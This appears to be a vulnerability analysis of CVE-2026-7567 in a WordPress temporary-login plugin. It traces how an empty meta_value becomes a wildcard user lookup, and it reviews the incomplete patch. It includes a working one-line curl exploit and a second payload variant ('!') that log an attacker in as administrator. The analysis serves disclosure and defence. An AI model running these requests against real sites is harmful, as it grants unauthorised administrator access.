"Find the user whose token is" is not what get_users does
The full handler in core/admin.php of version 1.0.0, the version the CVE is filed against:
public static function maybe_login_temporary_user() {
if ( empty( $_GET['temp-login-token'] ) ) {
return;
}
$token = sanitize_key( $_GET['temp-login-token'] );
$user = Options::get_user_by_token( $token );
if ( ! $user || Options::is_user_expired( $user->ID ) ) {
wp_safe_redirect( home_url() );
die;
}
// ... eventually calls process_login( $user ) which calls wp_set_auth_cookie
}
The handler is registered on init, which runs for every inbound request including unauthenticated ones to wp-admin/. The flow is: read the URL parameter, sanitize it, look the user up by token, set the auth cookie. A reader of this code would conclude that the security boundary is the 64-character hex token: get the token wrong, get redirected home; get it right, log in.
get_user_by_token lives in core/options.php:
public static function get_user_by_token( $token ) {
$users = get_users( [
'meta_key' => '_temporary_login_token',
'meta_value' => $token,
] );
if ( empty( $users ) ) {
return null;
}
return $users[0];
}
Same reading: pass $token, get the user whose meta value equals $token, or null. Conventional. Under-specified.
WordPress's contract is in wp-includes/class-wp-meta-query.php, in WP_Meta_Query::parse_query_vars(). Lines 287 through 290 in WordPress 6.2:
// WP_Query sets 'meta_value' = '' by default.
if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) {
$primary_meta_query['value'] = $qv['meta_value'];
}
Read the conditional. The value constraint is attached only when meta_value is not the empty string. The comment on the line above explains why. WP_Query historically initialized meta_value to '' as a default for callers that did not want to filter on a value, and the meta-query code was written to honor that default: empty string meant "this filter is not in use", not "match the literal empty string". The same code path was extended to WP_User_Query and reused for thirteen years without revisiting the assumption.
So when $token = '' arrives at get_users, the resulting SQL drops the value clause:
SELECT users.ID FROM wp_users
INNER JOIN wp_usermeta ON ( wp_users.ID = wp_usermeta.user_id )
WHERE ( wp_usermeta.meta_key = '_temporary_login_token' )
ORDER BY user_login ASC
That returns every user with a _temporary_login_token set. Every user with that meta is, by construction in Options::generate_temporary_user, a temporary administrator created by the plugin. The first row wins. An empty string in meta_value does not match users whose token is empty. It matches users whose token exists.
Three characters past the empty check
The plugin's gate before the meta query is two lines:
if ( empty( $_GET['temp-login-token'] ) ) {
return;
}
$token = sanitize_key( $_GET['temp-login-token'] );
empty() returns true for the empty string, the literal 0, an absent parameter, and any falsy scalar. Sending ?temp-login-token= short-circuits to return before the lookup ever runs. The attacker has to hand the gate a value that empty() calls non-empty and that sanitize_key then collapses to the empty string.
sanitize_key is in wp-includes/formatting.php:
function sanitize_key( $key ) {
$sanitized_key = '';
if ( is_scalar( $key ) ) {
$sanitized_key = strtolower( $key );
$sanitized_key = preg_replace( '/[^a-z0-9_\-]/', '', $sanitized_key );
}
return apply_filters( 'sanitize_key', $sanitized_key, $key );
}
Two paths through.
Path 1: array. PHP parses ?temp-login-token[] as $_GET['temp-login-token'] = ['']. empty(['']) is false because the array contains one element. is_scalar(['']) is false because arrays are not scalar, so sanitize_key skips the regex branch and returns the initial ''.
Path 2: characters the regex strips. ?temp-login-token=! makes $_GET['temp-login-token'] = '!'. empty('!') is false. is_scalar('!') is true; strtolower('!') is !; preg_replace('/[^a-z0-9_\-]/', '', '!') strips it. Same $token = ''.
The PoC author chose Path 1 because ?temp-login-token[] is the shortest URL they could write that passes empty() and reaches get_user_by_token(''). Path 2 is the same bug with one fewer character. Both end at the same line of WordPress meta-query handling. The gate the plugin built has nothing to do with what the attacker types; it has to do with what the empty string means to WP_Meta_Query::parse_query_vars.
The exploit is one curl
curl -i -L -c jar.txt 'https://example.com/wp-admin/?temp-login-token[]'
The request hits wp-admin/index.php. WordPress runs init. The plugin's maybe_login_temporary_user callback fires. The empty check passes because the array is non-empty. sanitize_key returns ''. Options::get_user_by_token('') runs the wildcard scan and returns the WP_User row of the first temporary administrator. The expiration check passes if the temp user is still inside the one-week default window. Then:
private static function process_login( \WP_User $user ) {
wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID );
do_action( 'wp_login', $user->user_login, $user );
wp_safe_redirect( admin_url() );
die;
}
wp_set_auth_cookie writes the standard wordpress_logged_in_<hash> cookie to the response. The redirect lands the browser on wp-admin/ with the cookie attached. The browser is now logged in as a role => 'administrator' user, because Options::generate_temporary_user hardcodes that role on creation:
$user_id = wp_insert_user( [
'user_login' => $username,
'user_pass' => $password,
'role' => 'administrator',
] );
The wp-settings-time-<id> cookie the PoC checks is the artifact of wp_set_auth_cookie having run for an authenticated user. The presence of that cookie is the success indicator the PoC reads on its way to confirming dashboard access.
The single precondition is one temporary login active on the target site. The default expiration is WEEK_IN_SECONDS from creation, and the plugin retains the row in the database until either expiration or an authenticated revoke_access AJAX call. For a site that uses Temporary Login the way Elementor's support workflow recommends (one session per ticket, with revoke at the end), the window is the duration of the ticket. For a site that forgets to revoke, the window is a week. During the window, the URL wp-admin/?temp-login-token[] is a one-request administrative login.
The 1.1.0 patch adds a second secret. The wildcard query stays.
The 1.1.0 diff against maybe_login_temporary_user:
$token = sanitize_key( $_GET['temp-login-token'] );
+$is_site_token_validated = true;
+
+$site_token = Options::get_site_token();
+if ( ! empty( $site_token ) ) {
+ $is_site_token_validated = ! empty( $_GET['tl-site'] ) && $site_token === $_GET['tl-site'];
+}
+
$user = Options::get_user_by_token( $token );
-if ( ! $user || Options::is_user_expired( $user->ID ) ) {
+if ( ! $user || ! $is_site_token_validated || Options::is_user_expired( $user->ID ) ) {
wp_safe_redirect( home_url() );
die;
}
The fix is a second token. tl-site is a 16-hex-character site-bound value created by create_site_token() the first time generate_temporary_user runs after the upgrade. The login URL the plugin emits becomes ?temp-login-token=<64-hex>&tl-site=<16-hex>. The check rejects the inbound request when the site has a tl-site token and the URL does not present it.
Read the conditional again. $is_site_token_validated defaults to true. The site-token check fires only when Options::get_site_token() returns non-empty. A site that has installed 1.1.0 but never created a temp user has no site token, and on that site the new check is unconditionally true. The site is safe by accident: the wildcard query has nothing to find because the data the gate gates has stopped existing.
The function get_user_by_token is unchanged in 1.1.0, 1.2.0, and 1.3.0:
public static function get_user_by_token( $token ) {
$users = get_users( [
'meta_key' => '_temporary_login_token',
'meta_value' => $token,
] );
if ( empty( $users ) ) {
return null;
}
return $users[0];
}
Calling get_user_by_token('') on a 1.3.0 site still returns the first temporary administrator. The tl-site check now stands in front of it, but the primitive behind the check is the same. Any future code path in this plugin that funnels untrusted input into meta_value and trusts the result, any helper that calls Options::get_user_by_token from a context that does not also gate on tl-site, any second author who reads get_user_by_token and reuses it elsewhere in the codebase, walks back into the same wildcard.
The shape
The pattern is what we are going to call empty-filter-is-wildcard. A producer's API silently treats an empty filter argument as "no filter applied" and returns the full set rather than the empty set or an error. A consumer that funnels attacker-controlled input into the filter without rejecting empty values converts a "find by exact value" query into a wildcard scan over whatever the producer was supposed to be filtering.
The producer in this case is WP_Meta_Query::parse_query_vars. The empty-string sentinel is documented on the line above the conditional, in a comment about a WP_Query default from a different era. The contract is that callers who do not want to filter on value are expected to pass '', and meta queries that arrive with meta_value => '' are not supposed to filter on value. The contract is a private optimization for callers who already know not to depend on it. The plugin is a public consumer that did.
The Elementor support workflow is the artifact of the mistake, not the cause of it. The same primitive sits behind every WordPress plugin in the directory that calls get_users, get_posts, or WP_Query with an attacker-influenced meta_value and trusts the result. Search the directory for get_users.*meta_value.*\$_ and there are thousands of hits. Most of them sanitize the input first. None of them check that the sanitized result is non-empty. The empty string is the wildcard, and a well-formed sanitizer is the path that takes attacker input there.
PoC: amirhosseinjamshidi64/CVE-2026-7567-POC
The patch closes this CVE. The wildcard query that returned the admin is still in the code.